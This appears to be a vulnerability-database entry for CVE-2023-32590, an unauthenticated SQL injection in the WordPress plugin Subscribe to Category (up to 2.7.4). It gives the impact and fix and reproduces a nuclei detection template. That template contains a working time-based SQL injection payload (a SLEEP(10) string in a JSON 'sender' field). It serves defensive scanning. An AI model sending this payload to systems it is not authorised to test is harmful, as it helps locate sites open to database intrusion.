HexBrain

Browse / CVEs / CVE-2023-32590

CVE-2023-32590· CWE-89

Subscribe to Category <= 2.7.4 - SQL Injection

criticalseverity
9.3CVSS score
1.8%likelihood of exploitation, next 30 days
79%of all CVEs are less likely
Readycheck to confirm it

The Subscribe to Category contains a sql_injection caused by improper neutralization of special elements used in an SQL command, letting attackers execute arbitrary SQL commands, exploit requires user interaction.

Impact

Attackers can execute arbitrary SQL commands, potentially leading to data leakage, modification, or deletion.

Fix

Update to the latest version beyond 2.7.4 or apply security patches that neutralize special elements in SQL queries.

How to confirm it

Send: @timeout: 30s
Positive when: duration >= 10 and len(body) == 0 and status_code == 200 and contains(content_type, "application/json")

Run it with nuclei: nuclei -id CVE-2023-32590 -u <target>

The full check
id: CVE-2023-32590

info:
  name: Subscribe to Category <= 2.7.4 - SQL Injection
  author: Shivam Kamboj
  severity: critical
  description: |
    The Subscribe to Category contains a sql_injection caused by improper neutralization of special elements used in an SQL command, letting attackers execute arbitrary SQL commands, exploit requires user interaction.
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data leakage, modification, or deletion.
  remediation: |
    Update to the latest version beyond 2.7.4 or apply security patches that neutralize special elements in SQL queries.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/subscribe-to-category/subscribe-to-category-274-unauthenticated-sql-injection
    - https://nvd.nist.gov/vuln/detail/CVE-2023-32590
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
    cvss-score: 9.3
    cve-id: CVE-2023-32590
    epss-score: 0.01808
    epss-percentile: 0.78776
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2023,wordpress,wp,wp-plugin,sqli,subscribe-to-category,unauth

http:
  - raw:
      - |
        @timeout: 30s
        POST /wp-json/textmagic/v1/smsreceived HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"sender": "1' AND (SELECT 1 FROM (SELECT(SLEEP(10)))sqltest) AND '1'='1","text": "test"}

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 10'
          - 'len(body) == 0'
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from